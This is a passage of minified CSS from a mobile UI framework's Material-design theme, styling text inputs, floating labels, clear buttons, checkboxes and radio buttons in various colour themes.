0;border-color:#fff;color:#fff}.md .chip.color-black{background:#000;color:#fff}.md .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;right:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;right:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.md .list input[type=date],.md .list input[type=datetime-local],.md .list input[type=email],.md .list input[type=number],.md .list input[type=password],.md .list input[type=search],.md .list input[type=tel],.md .list input[type=text],.md .list input[type=time],.md .list input[type=url],.md .list select{height:36px;color:#212121;font-size:16px}.md .list input[type=date]::-webkit-input-placeholder,.md .list input[type=datetime-local]::-webkit-input-placeholder,.md .list input[type=email]::-webkit-input-placeholder,.md .list input[type=number]::-webkit-input-placeholder,.md .list input[type=password]::-webkit-input-placeholder,.md .list input[type=search]::-webkit-input-placeholder,.md .list input[type=tel]::-webkit-input-placeholder,.md .list input[type=text]::-webkit-input-placeholder,.md .list input[type=time]::-webkit-input-placeholder,.md .list input[type=url]::-webkit-input-placeholder,.md .list select::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]:-ms-input-placeholder,.md .list input[type=datetime-local]:-ms-input-placeholder,.md .list input[type=email]:-ms-input-placeholder,.md .list input[type=number]:-ms-input-placeholder,.md .list input[type=password]:-ms-input-placeholder,.md .list input[type=search]:-ms-input-placeholder,.md .list input[type=tel]:-ms-input-placeholder,.md .list input[type=text]:-ms-input-placeholder,.md .list input[type=time]:-ms-input-placeholder,.md .list input[type=url]:-ms-input-placeholder,.md .list select:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::-ms-input-placeholder,.md .list input[type=datetime-local]::-ms-input-placeholder,.md .list input[type=email]::-ms-input-placeholder,.md .list input[type=number]::-ms-input-placeholder,.md .list input[type=password]::-ms-input-placeholder,.md .list input[type=search]::-ms-input-placeholder,.md .list input[type=tel]::-ms-input-placeholder,.md .list input[type=text]::-ms-input-placeholder,.md .list input[type=time]::-ms-input-placeholder,.md .list input[type=url]::-ms-input-placeholder,.md .list select::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::placeholder,.md .list input[type=datetime-local]::placeholder,.md .list input[type=email]::placeholder,.md .list input[type=number]::placeholder,.md .list input[type=password]::placeholder,.md .list input[type=search]::placeholder,.md .list input[type=tel]::placeholder,.md .list input[type=text]::placeholder,.md .list input[type=time]::placeholder,.md .list input[type=url]::placeholder,.md .list select::placeholder{color:rgba(0,0,0,.35)}.md .list textarea{color:#212121;font-size:16px;padding-top:7px;padding-bottom:7px}.md .list textarea.resizable{height:36px}.md .list textarea::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::placeholder{color:rgba(0,0,0,.35)}.md .input:after,.md .item-input-wrap:after{-webkit-transition-duration:.2s;transition-duration:.2s}.md .item-input-wrap{min-height:36px}.md .item-input-wrap:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .item-input-wrap:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .item-input-wrap:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .input:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .input:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .item-floating-label,.md .item-label{font-size:12px;width:100%;color:rgba(0,0,0,.65);-webkit-transition-duration:.2s;transition-duration:.2s;line-height:13px;-webkit-transition-property:color,-webkit-transform;transition-property:color,-webkit-transform;transition-property:transform,color;transition-property:transform,color,-webkit-transform}.md .item-floating-label{-webkit-transform:scale(1.33333333) translateY(18px);transform:scale(1.33333333) translateY(18px);color:rgba(0,0,0,.35);width:auto;max-width:75%;pointer-events:none;-webkit-transform-origin:left;transform-origin:left}.md .item-floating-label~.item-input-wrap input::-webkit-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-webkit-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input:-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea:-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::placeholder,.md .item-floating-label~.item-input-wrap textarea::placeholder{color:transparent!important}.md .item-input-focused .item-floating-label,.md .item-input-with-value .item-floating-label{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}.md .item-input-with-value .item-floating-label{color:rgba(0,0,0,.65)}.md .item-input .item-media{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.md .item-input .item-inner{display:block}.md .item-input .item-inner:after{display:none!important}.md .inline-label .item-media,.md .inline-labels .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:14px}.md .inline-label .item-inner,.md .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.md .inline-label .item-floating-label,.md .inline-label .item-label,.md .inline-labels .item-floating-label,.md .inline-labels .item-label{font-size:16px;width:30%;line-height:1.5;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:7px}.md .inline-label .item-floating-label+.item-input-wrap,.md .inline-label .item-label+.item-input-wrap,.md .inline-labels .item-floating-label+.item-input-wrap,.md .inline-labels .item-label+.item-input-wrap{margin-left:8px}.md .item-input-with-error-message,.md .item-input-with-info,.md div.input-with-error-message,.md div.input-with-info,.md span.input-with-error-message,.md span.input-with-info{padding-bottom:20px}.md .input-error-message,.md .input-info,.md .item-input-error-message,.md .item-input-info{font-size:12px;line-height:1.4;position:absolute;top:100%;margin-top:4px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;left:0;right:16px}.md .input-info,.md .item-input-info{color:rgba(0,0,0,.45)}.md .input-error-message,.md .item-input-error-message{color:#f44336;display:none}.md .item-input-focused .item-floating-label,.md .item-input-focused .item-label{color:#2196f3}.md .input-focused:after,.md .item-input-focused .item-input-wrap:after{background:#2196f3}.md .item-input-invalid .item-floating-label,.md .item-input-invalid .item-label,.md .item-invalid .item-floating-label,.md .item-invalid .item-label{color:#f44336}.md .item-input-invalid .input-error-message,.md .item-input-invalid .item-input-error-message,.md .item-invalid .input-error-message,.md .item-invalid .item-input-error-message{display:block}.md .item-input-invalid .input-info,.md .item-input-invalid .item-input-info,.md .item-invalid .input-info,.md .item-invalid .item-input-info{display:none}.md .input-invalid:after,.md .item-input-invalid .item-input-wrap:after{background:#f44336}.md .item-input-focused .item-input-wrap:after,.md .item-input-invalid .item-input-wrap:after{-webkit-transform:scaleY(2);transform:scaleY(2)}.md .input-focused:after,.md .input-invalid:after{-webkit-transform:scaleY(2)!important;transform:scaleY(2)!important}.md .input-clear-button{width:24px;height:24px;background:rgba(0,0,0,.12);margin-top:-12px}.md .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-size:16px 16px;opacity:.54}.md .input-clear-button:before{width:48px;height:48px;margin-left:-24px;margin-top:-24px}.md .item-input-wrap .input-clear-button{bottom:6px;margin-top:0;top:auto}.md .theme-dark input[type=date],.md .theme-dark input[type=datetime-local],.md .theme-dark input[type=email],.md .theme-dark input[type=number],.md .theme-dark input[type=password],.md .theme-dark input[type=search],.md .theme-dark input[type=tel],.md .theme-dark input[type=text],.md .theme-dark input[type=time],.md .theme-dark input[type=url],.md .theme-dark select,.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark input[type=date]::-webkit-input-placeholder,.md .theme-dark input[type=datetime-local]::-webkit-input-placeholder,.md .theme-dark input[type=email]::-webkit-input-placeholder,.md .theme-dark input[type=number]::-webkit-input-placeholder,.md .theme-dark input[type=password]::-webkit-input-placeholder,.md .theme-dark input[type=search]::-webkit-input-placeholder,.md .theme-dark input[type=tel]::-webkit-input-placeholder,.md .theme-dark input[type=text]::-webkit-input-placeholder,.md .theme-dark input[type=time]::-webkit-input-placeholder,.md .theme-dark input[type=url]::-webkit-input-placeholder,.md .theme-dark select::-webkit-input-placeholder,.md .theme-dark textarea::-webkit-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]:-ms-input-placeholder,.md .theme-dark input[type=datetime-local]:-ms-input-placeholder,.md .theme-dark input[type=email]:-ms-input-placeholder,.md .theme-dark input[type=number]:-ms-input-placeholder,.md .theme-dark input[type=password]:-ms-input-placeholder,.md .theme-dark input[type=search]:-ms-input-placeholder,.md .theme-dark input[type=tel]:-ms-input-placeholder,.md .theme-dark input[type=text]:-ms-input-placeholder,.md .theme-dark input[type=time]:-ms-input-placeholder,.md .theme-dark input[type=url]:-ms-input-placeholder,.md .theme-dark select:-ms-input-placeholder,.md .theme-dark textarea:-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::-ms-input-placeholder,.md .theme-dark input[type=datetime-local]::-ms-input-placeholder,.md .theme-dark input[type=email]::-ms-input-placeholder,.md .theme-dark input[type=number]::-ms-input-placeholder,.md .theme-dark input[type=password]::-ms-input-placeholder,.md .theme-dark input[type=search]::-ms-input-placeholder,.md .theme-dark input[type=tel]::-ms-input-placeholder,.md .theme-dark input[type=text]::-ms-input-placeholder,.md .theme-dark input[type=time]::-ms-input-placeholder,.md .theme-dark input[type=url]::-ms-input-placeholder,.md .theme-dark select::-ms-input-placeholder,.md .theme-dark textarea::-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::placeholder,.md .theme-dark input[type=datetime-local]::placeholder,.md .theme-dark input[type=email]::placeholder,.md .theme-dark input[type=number]::placeholder,.md .theme-dark input[type=password]::placeholder,.md .theme-dark input[type=search]::placeholder,.md .theme-dark input[type=tel]::placeholder,.md .theme-dark input[type=text]::placeholder,.md .theme-dark input[type=time]::placeholder,.md .theme-dark input[type=url]::placeholder,.md .theme-dark select::placeholder,.md .theme-dark textarea::placeholder{color:rgba(255,255,255,.35)}.md .theme-dark .input:after,.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-floating-label,.md .theme-dark .item-label{color:rgba(255,255,255,.54)}.md .theme-dark .item-floating-label{color:rgba(255,255,255,.35)}.md .theme-dark .item-input-with-value .item-floating-label{color:rgba(255,255,255,.54)}.md .theme-dark .input-clear-button{background:#fff}.md .color-theme-red .item-input-focused .item-floating-label,.md .color-theme-red .item-input-focused .item-label{color:#f44336}.md .color-theme-red .input-after:after,.md .color-theme-red .item-input-focused .item-input-wrap:after{background:#f44336}.md .color-theme-green .item-input-focused .item-floating-label,.md .color-theme-green .item-input-focused .item-label{color:#4caf50}.md .color-theme-green .input-after:after,.md .color-theme-green .item-input-focused .item-input-wrap:after{background:#4caf50}.md .color-theme-blue .item-input-focused .item-floating-label,.md .color-theme-blue .item-input-focused .item-label{color:#2196f3}.md .color-theme-blue .input-after:after,.md .color-theme-blue .item-input-focused .item-input-wrap:after{background:#2196f3}.md .color-theme-pink .item-input-focused .item-floating-label,.md .color-theme-pink .item-input-focused .item-label{color:#e91e63}.md .color-theme-pink .input-after:after,.md .color-theme-pink .item-input-focused .item-input-wrap:after{background:#e91e63}.md .color-theme-yellow .item-input-focused .item-floating-label,.md .color-theme-yellow .item-input-focused .item-label{color:#ffeb3b}.md .color-theme-yellow .input-after:after,.md .color-theme-yellow .item-input-focused .item-input-wrap:after{background:#ffeb3b}.md .color-theme-orange .item-input-focused .item-floating-label,.md .color-theme-orange .item-input-focused .item-label{color:#ff9800}.md .color-theme-orange .input-after:after,.md .color-theme-orange .item-input-focused .item-input-wrap:after{background:#ff9800}.md .color-theme-gray .item-input-focused .item-floating-label,.md .color-theme-gray .item-input-focused .item-label{color:#9e9e9e}.md .color-theme-gray .input-after:after,.md .color-theme-gray .item-input-focused .item-input-wrap:after{background:#9e9e9e}.md .color-theme-white .item-input-focused .item-floating-label,.md .color-theme-white .item-input-focused .item-label{color:#fff}.md .color-theme-white .input-after:after,.md .color-theme-white .item-input-focused .item-input-wrap:after{background:#fff}.md .color-theme-black .item-input-focused .item-floating-label,.md .color-theme-black .item-input-focused .item-label{color:#000}.md .color-theme-black .input-after:after,.md .color-theme-black .item-input-focused .item-input-wrap:after{background:#000}.md .item-input-focused.color-red .item-floating-label,.md .item-input-focused.color-red .item-label{color:#f44336}.md .input-after.color-red:after,.md .item-input-focused.color-red .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-green .item-floating-label,.md .item-input-focused.color-green .item-label{color:#4caf50}.md .input-after.color-green:after,.md .item-input-focused.color-green .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-blue .item-floating-label,.md .item-input-focused.color-blue .item-label{color:#2196f3}.md .input-after.color-blue:after,.md .item-input-focused.color-blue .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-pink .item-floating-label,.md .item-input-focused.color-pink .item-label{color:#e91e63}.md .input-after.color-pink:after,.md .item-input-focused.color-pink .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-yellow .item-floating-label,.md .item-input-focused.color-yellow .item-label{color:#ffeb3b}.md .input-after.color-yellow:after,.md .item-input-focused.color-yellow .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-orange .item-floating-label,.md .item-input-focused.color-orange .item-label{color:#ff9800}.md .input-after.color-orange:after,.md .item-input-focused.color-orange .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-gray .item-floating-label,.md .item-input-focused.color-gray .item-label{color:#9e9e9e}.md .input-after.color-gray:after,.md .item-input-focused.color-gray .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-white .item-floating-label,.md .item-input-focused.color-white .item-label{color:#fff}.md .input-after.color-white:after,.md .item-input-focused.color-white .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-black .item-floating-label,.md .item-input-focused.color-black .item-label{color:#000}.md .input-after.color-black:after,.md .item-input-focused.color-black .item-input-wrap:after{background:#f44336}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox .icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.md .checkbox i,.md .icon-checkbox{width:18px;height:18px;border-radius:2px;border:2px solid #6d6d6d;-webkit-transition-duration:.2s;transition-duration:.2s;background-color:transparent}.md .checkbox i:after,.md .icon-checkbox:after{width:18px;height:18px;left:-2px;top:-2px;-webkit-transition-duration:.2s;transition-duration:.2s;opacity:0;background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E");background-size:100% auto}.md .checkbox input[type=checkbox]:checked~i,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox input[type=checkbox]:checked~i:after,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox:after,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{opacity:1}.md label.item-checkbox{position:relative;overflow:hidden;z-index:0}.md label.item-checkbox>.icon-checkbox{margin-right:38px}.md label.item-checkbox .item-content .item-media,.md label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-checkbox.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-checkbox.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .checkbox i,.md .theme-dark .icon-checkbox{border-color:rgba(255,255,255,.54)}.md .color-theme-red .checkbox input[type=checkbox]:checked~i,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .color-theme-red .checkbox .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .checkbox input[type=checkbox]:checked~i,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .color-theme-green .checkbox .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .checkbox input[type=checkbox]:checked~i,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .color-theme-blue .checkbox .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .checkbox input[type=checkbox]:checked~i,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .color-theme-pink .checkbox .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .color-theme-yellow .checkbox .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .checkbox input[type=checkbox]:checked~i,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .color-theme-orange .checkbox .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .checkbox input[type=checkbox]:checked~i,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .color-theme-gray .checkbox .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .checkbox input[type=checkbox]:checked~i,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .color-theme-white .checkbox .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .checkbox input[type=checkbox]:checked~i,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .color-theme-black .checkbox .ripple-wave{background:rgba(0,0,0,.5)}.md .checkbox.color-red input[type=checkbox]:checked~i,.md label.item-checkbox.color-red input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .checkbox.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .checkbox.color-green input[type=checkbox]:checked~i,.md label.item-checkbox.color-green input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .checkbox.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .checkbox.color-blue input[type=checkbox]:checked~i,.md label.item-checkbox.color-blue input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .checkbox.color-pink input[type=checkbox]:checked~i,.md label.item-checkbox.color-pink input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .checkbox.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .checkbox.color-yellow input[type=checkbox]:checked~i,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .checkbox.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .checkbox.color-orange input[type=checkbox]:checked~i,.md label.item-checkbox.color-orange input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .checkbox.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .checkbox.color-gray input[type=checkbox]:checked~i,.md label.item-checkbox.color-gray input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .checkbox.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .checkbox.color-white input[type=checkbox]:checked~i,.md label.item-checkbox.color-white input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .checkbox.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .checkbox.color-black input[type=checkbox]:checked~i,.md label.item-checkbox.color-black input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .checkbox.color-black .ripple-wave{background:rgba(0,0,0,.5)}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.md .icon-radio{width:20px;height:20px;position:relative;border-radius:50%;border:2px solid #6d6d6d;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-duration:.2s;transition-duration:.2s;display:block}.md .icon-radio:after{content:'';position:absolute;width:10px;height:10px;left:50%;top:50%;margin-left:-5px;margin-top:-5px;background-color:#2196f3;border-radius:50%;-webkit-transform:scale(0);transform:scale(0);-webkit-transition-duration:.2s;transition-duration:.2s}.md .radio input[type=radio]:checked~.icon-radio,.md label.item-radio input[type=radio]:checked~* .icon-radio,.md label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio input[type=radio]:checked~.icon-radio:after,.md label.item-radio input[type=radio]:checked~* .icon-radio:after,.md label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3;-webkit-transform:scale(1);transform:scale(1)}.md label.item-radio{position:relative;overflow:hidden;z-index:0}.md label.item-radio>.icon-radio{margin-right:38px}.md label.item-radio .item-content .item-media,.md label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-radio.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-radio.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .icon-radio{border-color:rgba(255,255,255,.54)}.md .color-theme-red .icon-radio:after{background-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .color-theme-red .radio .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .color-theme-yellow .radio 